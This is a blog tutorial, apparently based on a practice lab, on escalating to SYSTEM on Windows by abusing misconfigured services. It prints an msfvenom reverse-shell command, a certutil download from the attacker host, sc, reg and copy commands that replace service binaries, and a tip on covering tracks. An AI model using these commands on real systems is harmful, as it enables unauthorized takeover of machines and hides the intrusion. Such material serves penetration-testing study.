Windows Privilege Escalation | Services

There are many ways to take advantage of incorrectly configured services to escalate your privileges on a windows machine.

Windows Privilege Escalation | Services
Photo by Lukas Tennie / Unsplash

Introduction

There are many ways to take advantage of incorrectly configured services to escalate your privileges on a windows machine.

The types of incorrect configurations I'm going to look at today are the following:

  • Insecure Service Properties
  • Unquoted Service Paths
  • Weak Registry Permissions
  • Insecure Service Executables

Since this is a post about privilege escalation it is assumed that you already have access to the target machine as a normal user with basic privileges, and can execute commands either in cmd.exe or Powershell.

Reverse Shell

A lot of these exploits rely on us somehow replacing the binary file that is run by the service, to our own one.  In order to generate our own binary reverse shell file, we can use a tool called msfvenom which is installed as part of the metasploit framework.

In order to generate a reverse shell to my machine, I run the following command:

┌──(gareth㉿enso)-[~/Desktop/Files]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.20 LPORT=4444 -f exe -o reverse.exe
The LHOST and LPORT can be configured to match your machine's IP and your desired port

This outputs a reverse.exe file which will attempt to connect back to my machine on 192.168.1.20 on port 4444.  I can listen for this using ncat on my attacking machine.

┌──(gareth㉿enso)-[~/Desktop/Files]
└─$ nc -lvnp 4444
Listening on 0.0.0.0 4444

Now that we have our binary file, we need to get it and some tools to help us, onto the target machine somehow.

Tools

To aid in the finding of these incorrect configurations it is useful to have some tools on the machine that can help with the enumeration of the system.

Assuming you have a reverse-shell of a user with normal privileges, you may need to "live off the land" and use some existing windows binaries to download your tools.

certutil.exe

I like to use certutil.exe. To download files onto a windows box from the command-line using certutil.exe you can execute the following:

C:\Users\bob\Desktop> certutil.exe -urlcache -f http://192.168.1.20:8000/winPEAS.bat winPEAS.bat
In this case I'm downloading from my attacking machine at IP address 10.10.1.100

winPEAS.bat

The previous command will download a bat file called WinPEAS which is short for "Windows Privilege Escalation Awesome Script".  This script is great and can be used to automatically find so many avenues open to exploit, including potentially vulnerable service configurations. To find these incorrectly configured services, you can run:

C:\Users\bob\Desktop> .\winPEAS.bat quiet servicesinfo

accesschk.exe

Accesschk.exe is a windows sysinternals tool that can be used to check your access to various windows resources, such as files, services or directories.  While this tool may already live on the machine, in order to run it in command-line only mode, an older version is required.

Insecure Service Properties

Each service on a windows machine has an ACL (Access Control List) which defines certain service-specific permissions.  If our user has the following ACL permissions, then we should be able to escalate our privileges.

  • SERVICE_STOP, SERVICE_START
  • SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS

To check if our user has these permissions, we can use the aforementioned accesschk.exe binary.

C:> accesschk.exe /accepteula -uwcqv <username> <svcname>
RW <svcname>
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

In this example we can see that we have permission to change the service configuration, stop and start the service.  This should be enough to escalate our privileges, assuming the service is running as a privileged account.  To check this, we can run the sc qc <svcname> command.

C:> sc qc daclsvc
SERVICE_NAME: daclsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\DACL Service\daclservice.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DACL Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

We can see that this services is running as the LocalSystem account, which is a privileged account.

Because we have the SERVICE_CHANGE_CONFIG permission, we can simply stop the service, change the binary it will run to point to our reverse-shell, and start it again.

C:\PrivEsc>net stop daclsvc

The DACL Service service was stopped successfully.

C:\PrivEsc>sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
[SC] ChangeServiceConfig SUCCESS

C:\PrivEsc>net start daclsvc

On my attacking machine, I can see that I now have access to the target machine as a privileged account.

┌──(gareth㉿enso)-[~/Desktop/Files]
└─$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.203 49939
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

Unquoted Service Paths

This exploit takes advantage of the scenario where the path to the legitimate application has not been enclosed in quotation marks i.e. " characters.  For example, if we check the configuration of the following unquotedsvc service:

C:\PrivEsc>sc qc unquotedsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: unquotedsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Unquoted Path Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

We can see that the BINARY_PATH_NAME property is not enclosed in quotes.

This is a problem because executable files in Windows can be run without using their extension (e.g. whoami.exe can be run by just typing whoami) and some executables take arguments, separated by spaces, e.g. someprogram.exe arg1 arg2.

This behaviour leads to ambiguity when using absolute paths that are unquoted and contain spaces.

A service with the unquoted path C:\Program Files\Some Dir\SomeProgram.exe for example could either be:

  • C:\Program.exe Files\Some Dir\SomeProgram.exe (2 args)
  • C:\Program Files\Some.exe Dir\SomeProgram.exe (1 arg)
  • C:\Program Files\Some Dir\SomeProgram.exe (0 args)

We need to ensure that we have the ability to write to one of these folder locations, and that we have the ability to stop and start the service, to take advantage of this scenario.

Using accesschk to check if we have permission to start/stop the service and write access to a directory in the path:

C:\PrivEsc>.\accesschk.exe /accepteula -ucqv user unquotedsvc
R  unquotedsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

C:\PrivEsc>.\accesschk.exe /accepteula -uwdq C:\
C:\
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
  RW NT AUTHORITY\SYSTEM

C:\PrivEsc>.\accesschk.exe /accepteula -uwdq "C:\Program Files"
C:\Program Files
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT SERVICE\TrustedInstaller
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators

C:\PrivEsc>.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW NT SERVICE\TrustedInstaller
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators

We see that we have start/stop permissions and that members of the BUILTIN\Users group have write access to the Unquoted Path Service directory.  This should allow us to take advantage of the aforementioned ambiguity by creating a Common.exe file in that directory, to trick Windows into running our shell, rather than looking one step down, in the Common Files directory for an unquotedpathservice.exe file.

I'm going to stop the service, copy my reverse.exe file from earlier into the Unquoted Path Service directory and rename it to Common.exe and then start the service again.

C:\PrivEsc>net stop unquotedsvc

The Unquoted Path Service service was stopped successfully.

C:\PrivEsc>copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
        1 file(s) copied.

C:\PrivEsc>net start unquotedsvc
The service is not responding to the control function.
The error message is completely normal

I set up a listener on the attacking machine before starting the service.

┌──(gareth㉿enso)-[~/Desktop]
└─$ nc -lvnp 4444                      
Listening on 0.0.0.0 4444
Connection received on 192.168.1.203 49963
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
We have a shell as the local system account

Weak Registry Permissions

The windows registry stores entries for each service.  Since registry entries can have ACLs, if the ACL is incorrectly configured, it may be possible to modify a service's configuration, even if we cannot modify the service directly.

Check the registry entry's access as follows:

C:\PrivEsc>.\accesschk.exe /accepteula -uvwqk HKLM:\System\CurrentControlSet\Services\regsvc
HKLM\System\CurrentControlSet\Services\regsvc
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
        KEY_ALL_ACCESS
  RW BUILTIN\Administrators
        KEY_ALL_ACCESS
  RW NT AUTHORITY\INTERACTIVE
        KEY_ALL_ACCESS

Since our current user is a member of NT AUTHORITY\INTERACTIVE we have write permission to this registry entry, for the regsvc service.

We can use this permission to overwrite the ImagePath registry key to point to our own executable. Again we must also have permissions to start/stop the service.

C:\PrivEsc>net stop regsvc

The Insecure Registry Service service was stopped successfully.

C:\PrivEsc>reg add HKLM\SYSTEM\CurrentControlSet\Services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
The operation completed successfully.

C:\PrivEsc>net start regsvc
We have overwritten the service's binary path via the registry

Insecure Service Executables

Sometimes our basic user account has permission to just overwrite the executable that the service is configured to run.  In this instance it is a case of stopping the service, copying the legitimate binary to somewhere else, copying our binary in its place, and starting the service again.

Keeping a backup of the original binary is a good idea to help cover our tracks after we are finished exploiting the machine.

C:\PrivEsc>.\accesschk.exe /accepteula -quwv "C:\Program Files\File Permissions Service\filepermservice.exe"
C:\Program Files\File Permissions Service\filepermservice.exe
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Everyone
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW BUILTIN\Users
        FILE_ALL_ACCESS
        
 C:\PrivEsc>copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
        1 file(s) copied.

C:\PrivEsc>copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
        1 file(s) copied.
        
C:\PrivEsc>net start filepermsvc
The service is not responding to the control function.

On the attacking machine:

┌──(gareth㉿enso)-[~/Desktop]
└─$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.203 50073
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

Summary

These are just some ways to gain escalated privileges on an incorrectly configured Windows 10 machine.  If you have the ability to stop and start a service, and have some kind of permission to alter or change the service executable in some way, you can usually take advantage and escalate your privileges, either horizontally or vertically.

To learn more about Windows privilege escalation I highly recommend a Udemy course by tib3rius called Windows Privilege Escalation for OSCP and Beyond!